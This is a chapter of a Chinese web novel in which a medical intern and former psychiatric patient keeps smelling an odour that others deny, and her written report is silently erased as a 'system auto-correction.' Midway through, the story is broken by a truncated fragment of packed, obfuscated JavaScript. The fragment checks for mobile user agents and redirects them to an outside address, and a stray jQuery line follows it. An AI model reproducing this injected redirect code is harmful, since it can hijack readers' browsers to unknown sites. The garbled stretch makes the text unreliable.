清晨的B区和凌晨完全不同。


    窗帘被拉开，走廊里有咖啡和速溶麦片混合的气味，护士站的电脑循环播放着待办事项。


    尤思站在门口，手里拿着一张还没完全熟悉的排班表。


    她发现自己下意识地在找编号，每一个病人所对应的编号。


    这些东西，她以前从不在意。


    当她意识到这一点时，愣了一下。


    查房进行得很快。


    她跟在以带教医生为中心的队伍后面，老师的语速平稳而机械，病例像流水一样被念过去。


    “3号床，女性，二十三岁。主诉幻听以及被害妄想，两周前入院。”


    那声音，尤思几乎在听见第一句时就僵住。


    那是陆仁毅的声音。


    躺在床上时，她听过无数次。


    语速平稳，字句清晰。


    当时她觉得那声音冷。


    现在它落在走廊里，却显得合理。


    陆仁毅翻阅着病例，没有抬头，向几个实习生解释道，“治疗依从性一般，夜间有焦虑表现。”


    每一个字都念得客观。


    尤思站在队伍最后，她静静注视着那张脸。


    没有变化，至少外表没有。


    尤思跟在队伍最后，笔记本夹在臂弯里，没有人特意看她。


    没有人来确认她听懂了没有。


    这不是疏忽，而是默认。


    在B区三层的尽头，一名病人被推出来，准备转去影像科。


    推车经过尤思身边时，她闻到了一股气味。


    不是消毒水，也不是呕吐物。


    她定住了脚跟。


    队伍继续往前走了一步，她却慢了半拍。


    那是一种不该在这个流程里出现的味道。


    尤思低头看了一眼病历夹。


    转运原因：常规复查


    时间：07:40


    备注：无异常


    尤思没有立刻开口。


    但她意识到，不开口，本身也是一种选择。


    凌晨连廊的回忆历历在目。


    那时候她以为，是自己过度紧张。


    现在是白天。


    流程是完整，所有的记录齐全无差。


    如果这依然是不对的，那就不是她的问题。


    “等等。”


    她的声音不大，却让推车停了下来。


    陆仁毅回头看了她两秒，眼神平静，“什么事？”


    那种停顿让她忽然想起过去。


    她曾在病房里对他说过，“有人在篡改我的药。”


    当时他也是这样看着她。


    没有否认，也没有附和，只是记录。


    陆仁毅：“具体描述。”


    尤思开口前，心脏跳得很快。


    因为她无法确定自己是对的。


    但她清楚一件事，如果现在不说，这项异常就不会存在于任何记录里。


    “这个气味……不太符合常规情况。”


    她顿了顿，用了一个最保守的说法，“我建议再确认一次。”


    走廊安静了几秒，紧接着交叉了一旁几个实习生的讨论声。


    陆仁毅点了点头，“好，记录一下。”


    只有这一句话。


    尤思在表格上写下详细的异常描述。


    字迹有点抖，但很清楚。


    那一刻她突然明白了，成为医生，不是要做“知道得更多的人”，而是“在不确定时，仍然要把事情留下痕迹的人”。


    查房结束后，她刻意落在队伍最后。


    没有人再提早晨那股气味。


    尤思回到实习桌的电脑前，她想要确定一件事情，调出早上的转运记录。


    页面加载得很慢。


    转运原因：常规复查


    备注：无异常


    签名：尤思


    她盯着那行签名，字迹工整。


    不像她刚醒来时手指发抖的样子。


    “在找什么？”，声音在身后响起。


    尤思回过头，陆仁毅站在两步之外。


    他没有靠近电脑，只是站着。


    尤思没有过度的紧张，只是平静回复，“早上的异常记录不见了。”


    陆仁毅没有立刻回答。


    他看向屏幕，紧接着又看向她。


    “你确定写过？”


    这句话不带攻击性，却让空气变重。


    你确定？


    她没有立刻回答。


    陆仁毅伸手，调出操作日志。


    修改时间：08:03


    修改类型：系统自动校正


    陆仁毅：“系统会优化非标准描述。”


    “临床记录需要可验证性。”


    “情绪性的判断不保留。”


    尤思忽然意识到，在她作为患者的时候，症状的描述并非如同她所叙说的那般完全写下。


    当时她说过“药味不对。”，后来记录却变成了“主诉焦虑。”


    她当时以为是人为篡改。


    现在她站在系统前。


    发现删除行为没有署名。


    只有“自动”。


    陆仁毅摇了摇头，“实习阶段，先学会对齐。”


    对齐。


    这个词让她后背发凉。


    当初他也向她做过保证，保证医院终会把她治好。


    现在他说：“学会对齐。”


    陆仁毅没有停留许久，便离开了。


    整个办公室恢复了原本的秩序，打印机遵从着命令进行吐纸。


    尤思没有再动电脑，她只是盯着那行“系统自动校正”。


    对齐。


    情绪性判断。


    她忽然意识到“气味异常”这四个字，本身就不属于标准体系。


    它没有数值，没有化验结果，无法复核。


    下午一点半的时候，影像科传回了消息。


    “07:40转运病人已完成检查。”


    尤思放下手中所有的事情，快步走出办公室，看向走廊。


    那名病人被推回来了，病床上的他神情平静，看起来没有任何的呕吐迹象，也没有任何不适反应。


    然而当推车经过时，她再次闻到了那股味道。


    这一次更淡，但确实存在。


    冷的。


    潮的。


    混着一点胃酸未完全挥发的味道。


    尤思下意识看向推车底部，是干净而没有任何痕迹的。


    “你在看什么？”陆仁毅的声音从旁边传来。


    尤思直起身，“气味还在。”


    陆仁毅没有立即回答。


    他走到推车旁，弯下腰问了一下空气。


    病人此时是醒着的，他有些疑惑地看向突然让他停止前进的这两个医生。


    负责转运推床的护工也是满脸不解，“陆主任，有什么问题？”


    陆仁毅摆摆手，“没有，你们忙。”


    护工听了之后继续推病床了，那个病人的脸色似乎如释重负。


    陆仁毅扭头看向尤思，“没有异常。”


    “等会需要查房，如果你还是觉得哪里不对，可以再看看。”


    尤思的大脑一片恍惚，她跟着其他几个实习生陆陆续续依次进入病房。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156925|196145||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >她对着身旁的一个女生悄悄说道，“你能闻到奇怪的味道吗？”


    那个女生有些不解，但还是下意识地吸了吸鼻子，摇了摇头。


    尤思站在那里，她清楚闻到，却忽然无法确定。


    这种无法确定，比否认更让人不安。


    “是否有呕吐史？”陆仁毅询问着护士。


    护士翻看护理单，“无记录。”


    陆仁毅点头，“继续观察。”


    这次查房结束后，她没有再试图修改系统，而是去查看监控。


    07:38转运车从三层尽头出现，推车行进平稳，看起来没有任何的异常。


    07:40，画面轻微闪了一下。


    一帧，极短。


    再恢复。


    尤思倒回去重复播放。


    每次到07:40那一秒，画面都会出现极短的压缩失真，像是信号干扰。


    但日志里没有任何“信号维护”的标注。


    尤思拿出手机，对着屏幕拍了一张。


    她放大的那一帧，推车仍在画面里，但病人的脸，模糊了一瞬。


    不是因为晃动，更像是分辨率被压低。


    【不要试图解释。】


    声音低低响起。


    这一次不是命令。


    像提醒。


    邻近晚饭的时间点，陆仁毅再次来办公室找了尤思。


    “你今天反应过度。”


    尤思只是平静回答，“我确实闻到了。”


    “你无法证明。”


    “我和你说了临床判断不能建立在无法复核的感受上。”


    尤思沉默。


    因自身感官而产生的感受，却只被在病历上记录下疾病的术语。


    她说过类似的话，“你们闻不到，不代表不存在。”


    当时陆仁毅写下：“感知偏差。”


    现在他站在她面前。


    重复同样的逻辑。


    尤思：“如果我能证明呢？”


    陆仁毅停顿了一秒，他轻笑了一声，“那就记录。”


    晚上值班，B区灯光稳定。


    尤思走到三层尽头，这里现在没有人。


    她闭上眼睛，深吸气。


    那股味道还在。


    极淡。


    几乎无法察觉。


    但是她可以肯定，那是存在的。


    尤思顺着气味往前走，她停在墙角。


    那里没有病房，只有一扇紧闭的安全门。


    门上贴着标识：“设备维护区，非工作人员禁止进入。”


    尤思停在门前，气味更明显了一点。


    她伸手去推。


    门锁着。


    她缓缓弯下身，低头看门缝。


    只是那股若有若无的气味从门内缓慢渗出。


    “尤思。”身后传来声音。


    她回头，陆仁毅站在走廊另一端。


    他没有快步走来，只是静静地看着她。


    “那里不是你的工作范围。”


    “但是我闻到气味从里面出来。”


    陆仁毅走近，站在门前，他低头闻了一下空气，神情依旧平静。


    “没有异常。”


    “你需要休息。”


    “明天如果需要的话，我会帮你做常规嗅觉测试。”


    尤思没有反驳，只是点头。


    两人都没有在这里停留，尤思跟着陆仁毅回到了办公室。


    “我回去了，如果病人有什么问题，及时告知。”


    尤思应了下来，陆仁毅走之前又叮嘱了一声“没有事不要到处乱跑”，同她还是病人时候的那般。